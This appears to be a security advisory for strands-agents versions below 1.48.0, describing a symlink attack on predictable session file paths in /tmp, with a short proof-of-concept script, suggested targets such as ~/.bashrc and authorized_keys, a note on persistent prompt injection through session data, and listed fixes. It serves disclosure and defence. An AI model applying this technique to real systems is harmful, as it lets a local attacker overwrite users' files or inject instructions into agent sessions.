| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| strands-agents | < 1.48.0 | 1.48.0 |
The FileSessionManager defaults to storing session data in /tmp/strands/sessions/ (a world-writable directory) using predictable file paths and a write pattern (open(path + ".tmp", "w") → os.replace()) that follows symbolic links. A local attacker can exploit this to overwrite arbitrary files or inject malicious session data for persistent prompt injection.
Component: strands-py/src/strands/session/file_session_manager.py
Root Cause:
tempfile.gettempdir() + "/strands/sessions/" (line 58) — resolves to /tmp/strands/sessions/ on Linux/macOS_write_file() method (lines 116-123) writes to a predictable .tmp path without symlink protection:
tmp = f"{path}.tmp"
with open(tmp, "w", encoding="utf-8", newline="\n") as f:
json.dump(data, f, indent=2, ensure_ascii=False)
os.replace(tmp, path)
open() follows symlinks — a pre-placed symlink at the .tmp path causes writes to an arbitrary target file/tmp/strands/sessions/session_<id>/ (or monitors for new directories via inotify)session.json.tmp → /home/victim/.bashrc (or any writable file).ssh/authorized_keys, cron files, etc.)import os, json, tempfile, shutil
# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)
# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
f.write("ORIGINAL - should not be overwritten\n")
symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
os.unlink(symlink_path)
os.symlink(target_file, symlink_path)
# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
json.dump({"session_id": "test", "injected": True}, f, indent=2)
# Verify: target file overwritten
with open(target_file) as f:
print(f"Target file content: {f.read()}")
# Output: {"session_id": "test", "injected": true}
# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)
~/.strands/sessions/ or $XDG_DATA_HOME/strands/sessions/ instead of /tmp/os.open() with O_NOFOLLOW | O_CREAT | O_WRONLY — refuses to follow symlinkstempfile.mkstemp() for atomic writes instead of predictable .tmp suffixBạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí